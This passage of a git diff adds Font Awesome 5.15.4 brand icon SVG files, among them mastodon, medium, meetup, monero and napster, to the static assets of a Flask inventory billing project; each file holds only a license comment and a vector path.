Management System using Flask/static/font-awesome/svgs/brands/mastodon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/maxcdn.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/maxcdn.svg new file mode 100644 index 00000000..0b5f8355 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/maxcdn.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mdb.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mdb.svg new file mode 100644 index 00000000..89fe99fc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mdb.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medapps.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medapps.svg new file mode 100644 index 00000000..14cf3f6d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medapps.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medium-m.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medium-m.svg new file mode 100644 index 00000000..6e4aca18 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medium-m.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M71.5 142.3c.6-5.9-1.7-11.8-6.1-15.8L20.3 72.1V64h140.2l108.4 237.7L364.2 64h133.7v8.1l-38.6 37c-3.3 2.5-5 6.7-4.3 10.8v272c-.7 4.1 1 8.3 4.3 10.8l37.7 37v8.1H307.3v-8.1l39.1-37.9c3.8-3.8 3.8-5 3.8-10.8V171.2L241.5 447.1h-14.7L100.4 171.2v184.9c-1.1 7.8 1.5 15.6 7 21.2l50.8 61.6v8.1h-144v-8L65 377.3c5.4-5.6 7.9-13.5 6.5-21.2V142.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medium.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medium.svg new file mode 100644 index 00000000..ba8b3f64 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medium.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32v448h448V32H0zm372.2 106.1l-24 23c-2.1 1.6-3.1 4.2-2.7 6.7v169.3c-.4 2.6.6 5.2 2.7 6.7l23.5 23v5.1h-118V367l24.3-23.6c2.4-2.4 2.4-3.1 2.4-6.7V199.8l-67.6 171.6h-9.1L125 199.8v115c-.7 4.8 1 9.7 4.4 13.2l31.6 38.3v5.1H71.2v-5.1l31.6-38.3c3.4-3.5 4.9-8.4 4.1-13.2v-133c.4-3.7-1-7.3-3.8-9.8L75 138.1V133h87.3l67.4 148L289 133.1h83.2v5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medrt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medrt.svg new file mode 100644 index 00000000..5861bf83 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/medrt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 544 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/meetup.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/meetup.svg new file mode 100644 index 00000000..0d781814 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/meetup.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/megaport.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/megaport.svg new file mode 100644 index 00000000..6b73b1b2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/megaport.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mendeley.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mendeley.svg new file mode 100644 index 00000000..d4014f83 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mendeley.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/microblog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/microblog.svg new file mode 100644 index 00000000..99e727c7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/microblog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/microsoft.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/microsoft.svg new file mode 100644 index 00000000..26fe492b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/microsoft.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mix.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mix.svg new file mode 100644 index 00000000..7e3e7327 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mix.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mixcloud.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mixcloud.svg new file mode 100644 index 00000000..1a005783 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mixcloud.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M424.43 219.729C416.124 134.727 344.135 68 256.919 68c-72.266 0-136.224 46.516-159.205 114.074-54.545 8.029-96.63 54.822-96.63 111.582 0 62.298 50.668 112.966 113.243 112.966h289.614c52.329 0 94.969-42.362 94.969-94.693 0-45.131-32.118-83.063-74.48-92.2zm-20.489 144.53H114.327c-39.04 0-70.881-31.564-70.881-70.604s31.841-70.604 70.881-70.604c18.827 0 36.548 7.475 49.838 20.766 19.963 19.963 50.133-10.227 30.18-30.18-14.675-14.398-32.672-24.365-52.053-29.349 19.935-44.3 64.79-73.926 114.628-73.926 69.496 0 125.979 56.483 125.979 125.702 0 13.568-2.215 26.857-6.369 39.594-8.943 27.517 32.133 38.939 40.147 13.29 2.769-8.306 4.984-16.889 6.369-25.472 19.381 7.476 33.502 26.303 33.502 48.453 0 28.795-23.535 52.33-52.607 52.33zm235.069-52.33c0 44.024-12.737 86.386-37.102 122.657-4.153 6.092-10.798 9.414-17.72 9.414-16.317 0-27.127-18.826-17.443-32.949 19.381-29.349 29.903-63.682 29.903-99.122s-10.521-69.773-29.903-98.845c-15.655-22.831 19.361-47.24 35.163-23.534 24.366 35.993 37.102 78.356 37.102 122.379zm-70.88 0c0 31.565-9.137 62.021-26.857 88.325-4.153 6.091-10.798 9.136-17.72 9.136-17.201 0-27.022-18.979-17.443-32.948 13.013-19.104 19.658-41.255 19.658-64.513 0-22.981-6.645-45.408-19.658-64.512-15.761-22.986 19.008-47.095 35.163-23.535 17.719 26.026 26.857 56.483 26.857 88.047z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mixer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mixer.svg new file mode 100644 index 00000000..9429de6e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mixer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mizuni.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mizuni.svg new file mode 100644 index 00000000..cad69424 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/mizuni.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/modx.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/modx.svg new file mode 100644 index 00000000..e5dc0a47 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/modx.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/monero.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/monero.svg new file mode 100644 index 00000000..9c560b24 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/monero.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/napster.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/napster.svg new file mode 100644 index 00000000..9516407f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/napster.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/neos.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/neos.svg new file mode 100644 index 00000000..927bc45a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/neos.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 